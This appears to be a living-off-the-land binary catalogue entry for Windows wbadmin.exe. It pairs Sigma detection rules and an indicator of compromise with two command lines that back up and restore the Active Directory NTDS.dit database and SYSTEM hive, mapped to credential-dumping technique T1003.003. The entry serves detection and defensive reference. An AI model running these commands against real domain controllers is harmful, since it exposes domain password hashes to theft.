.. /wbadmin.exe

Star

Paths:

• C:\Windows\System32\wbadmin.exe

Resources:

• https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml
• IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

Dump

1. Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

   wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet

   Use case

   Snapshoting of Active Directory NTDS.dit database

   Privileges required

   Administrator, Backup Operators, SeBackupPrivilege

   Operating systems

   Windows Server

   ATT&CK® technique

   T1003.003

2. Restore a version of NTDS.dit and SYSTEM hive into file path. The command wbadmin get versions can be used to find version identifiers.

   wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet

   Use case

   Dumping of Active Directory NTDS.dit database

   Privileges required

   Administrator, Backup Operators, SeBackupPrivilege

   Operating systems

   Windows Server

   ATT&CK® technique

   T1003.003